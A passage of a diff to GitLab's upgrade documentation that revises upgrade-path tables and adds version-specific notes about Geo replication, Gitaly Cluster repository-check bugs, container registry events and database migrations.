`13.9.2` | `13.9.2` -> `13.12.15` -> `14.0.12` -> `14.1.8` | Two intermediate versions are required: `13.12` and `14.0`. | -| `13.12.15` | `12.9.2` | `12.9.2` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> `13.8.8` -> `13.12.15` | Four intermediate versions are required: `12.10`, `13.0`, `13.1`, and `13.8`. | -| `13.2.10` | `11.5.0` | `11.5.0` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> `13.2.10` | Six intermediate versions are required: `11.11`, `12.0`, `12.1`, `12.10`, `13.0`, and `13.1`. | -| `12.10.14` | `11.3.4` | `11.3.4` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` | Three intermediate versions are required: `11.11`, `12.0`, and `12.1`. | -| `12.9.5` | `10.4.5` | `10.4.5` -> `10.8.7` -> `11.0.6` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.9.5` | Five intermediate versions are required: `10.8`, `11.0`, `11.11`, `12.0`, and `12.1`. | -| `12.2.5` | `9.2.6` | `9.2.6` -> `9.5.10` -> `10.0.7` -> `10.8.7` -> `11.0.6` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.2.5` | Seven intermediate versions are required: `9.5`, `10.0`, `10.8`, `11.0`, `11.11`, `12.0`, and `12.1`. | -| `11.3.4` | `8.13.4` | `8.13.4` -> `8.17.7` -> `9.0.13` -> `9.5.10` -> `10.0.7` -> `10.8.7` -> `11.0.6` -> `11.3.4` | Six intermediate versions are required: `8.17`, `9.0`, `9.5`, `10.0`, `10.8`, and `11.0`. | - ## Upgrading between editions GitLab comes in two flavors: [Community Edition](https://about.gitlab.com/features/#community) which is MIT licensed, @@ -237,6 +226,8 @@ Edition, follow the guides below based on the installation method: GitLab Community Edition to the Enterprise Edition. - [Docker CE to EE](../install/docker.md#convert-community-edition-to-enterprise-edition) - Follow this guide to update your GitLab Community Edition container to an Enterprise Edition container. +- [Helm chart (Kubernetes) CE to EE](https://docs.gitlab.com/charts/installation/deployment.html#convert-community-edition-to-enterprise-edition) - + Follow this guide to update your GitLab Community Edition Helm deployment to Enterprise Edition. ### Enterprise to Community Edition @@ -273,17 +264,75 @@ NOTE: Specific information that follow related to Ruby and Git versions do not apply to [Omnibus installations](https://docs.gitlab.com/omnibus/) and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with appropriate Ruby and Git versions and are not using system binaries for Ruby and Git. There is no need to install Ruby or Git when utilizing these two approaches. +### 15.9.0 + +- This version removes `SanitizeConfidentialTodos` background migration [added](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/87908/diffs) in 15.6, which removed any user inaccessible to-do items. Make sure that this migration is finished before upgrading to 15.9. +- As part of the [CI Partitioning effort](../architecture/blueprints/ci_data_decay/pipeline_partitioning.md), a [new Foreign Key](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/107547) was added to `ci_builds_needs`. On GitLab instances with large CI tables, adding this constraint can take longer than usual. Make sure that this migration is finished before upgrading to 15.9. + +### 15.8.2 + +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. + +### 15.8.1 + +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + ### 15.8.0 - Git 2.38.0 and later is required by Gitaly. For installations from source, you should use the [Git version provided by Gitaly](../install/installation.md#git). +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. + +### 15.7.6 + +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.7.5 + +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.7.4 + +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.7.3 + +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. ### 15.7.2 -- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.0 - 15.6.6 and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.6.7, 15.7.3, or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. ### 15.7.1 -- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.0 - 15.6.6 and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.6.7, 15.7.3, or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. ### 15.7.0 @@ -293,7 +342,7 @@ and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with ap the `EnsureWorkItemTypeBackfillMigrationFinished` post-deploy migration. - GitLab 15.4.0 introduced a [batched background migration](background_migrations.md#batched-background-migrations) to [backfill `namespace_id` values on issues table](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/91921). This - migration might take multiple hours or days to complete on larger GitLab instances. Please make sure the migration + migration might take multiple hours or days to complete on larger GitLab instances. Make sure the migration has completed successfully before upgrading to 15.7.0. - A database constraint is added, specifying that the `namespace_id` column on the issues table has no `NULL` values. @@ -324,23 +373,74 @@ and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with ap Sites that have configured `max_concurrency` will not be affected by this change. [Read more about the Sidekiq concurrency setting](../administration/sidekiq/extra_sidekiq_processes.md#concurrency). -- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- GitLab Runner 15.7.0 introduced a breaking change that impacts CI/CD jobs: [Correctly handle expansion of job file variables](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/3613). + Previously, job-defined variables that referred to + [file type variables](../ci/variables/index.md#use-file-type-cicd-variables) + were expanded to the value of the file variable (its content). This behavior did not + respect the typical rules of shell variable expansion. There was also the potential + that secrets or sensitive information could leak if the file variable and its + contents printed. For example, if they were printed in an echo output. For more information, + see [Understanding the file type variable expansion change in GitLab 15.7](https://about.gitlab.com/blog/2023/02/13/impact-of-the-file-type-variable-change-15-7/). +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.0 - 15.6.6 and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.6.7, 15.7.3, or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. + +### 15.6.7 + +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.6.6 + +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.0 - 15.6.6 and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.6.7, 15.7.3, or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. + +### 15.6.5 + +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.0 - 15.6.6 and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.6.7, 15.7.3, or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. ### 15.6.4 -- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.0 - 15.6.6, and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.6.7, 15.7.3, or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. ### 15.6.3 -- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.0 - 15.6.6 and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.6.7, 15.7.3, or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. ### 15.6.2 -- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.0 - 15.6.6 and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.6.7, 15.7.3, or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. ### 15.6.1 -- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.0 - 15.6.6 and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.6.7, 15.7.3, or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can lead to data loss after a failover. + - Impacted versions: GitLab versions 15.6.x, 15.7.x, and 15.8.0 - 15.8.2. + - Versions containing fix: GitLab 15.8.3 and later. +- Due to [a bug introduced in GitLab 15.4](https://gitlab.com/gitlab-org/gitlab/-/issues/390155), if one or more Git repositories in Gitaly Cluster is [unavailable](../administration/gitaly/recovery.md#unavailable-repositories), then [Repository checks](../administration/repository_checks.md#repository-checks) and [Geo replication and verification](../administration/geo/index.md) stop running for all project or project wiki repositories in the affected Gitaly Cluster. The bug was fixed by [reverting the change in GitLab 15.9.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/110823). Before upgrading to this version, check if you have any "unavailable" repositories. See [the bug issue](https://gitlab.com/gitlab-org/gitlab/-/issues/390155) for more information. ### 15.6.0 @@ -360,7 +460,55 @@ and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with ap This issue was [fixed in GitLab 15.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105375) and backported to GitLab 15.6.2. The issue can also be worked around: [read about how to create these indexes](https://gitlab.com/gitlab-org/gitlab/-/issues/378343#note_1199863087). -- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.x and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.7.3 or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: [Container registry push events are rejected](https://gitlab.com/gitlab-org/gitlab/-/issues/386389) by the `/api/v4/container_registry_event/events` endpoint resulting in Geo secondary sites not being aware of updates to container registry images and subsequently not replicating the updates. Secondary sites may contain out of date container images after a failover as a consequence. This impacts versions 15.6.0 - 15.6.6 and 15.7.0 - 15.7.2. If you're using Geo with container repositories, you are advised to upgrade to GitLab 15.6.7, 15.7.3, or 15.8.0 which contain a fix for this issue and avoid potential data loss after a failover. +- Geo: We discovered an issue where [replication and verification of projects and wikis was not keeping up](https://gitlab.com/gitlab-org/gitlab/-/issues/387980) on small number of Geo installations. Your installation may be affected if you see some projects and/or wikis persistently in the "Queued" state for verification. This can 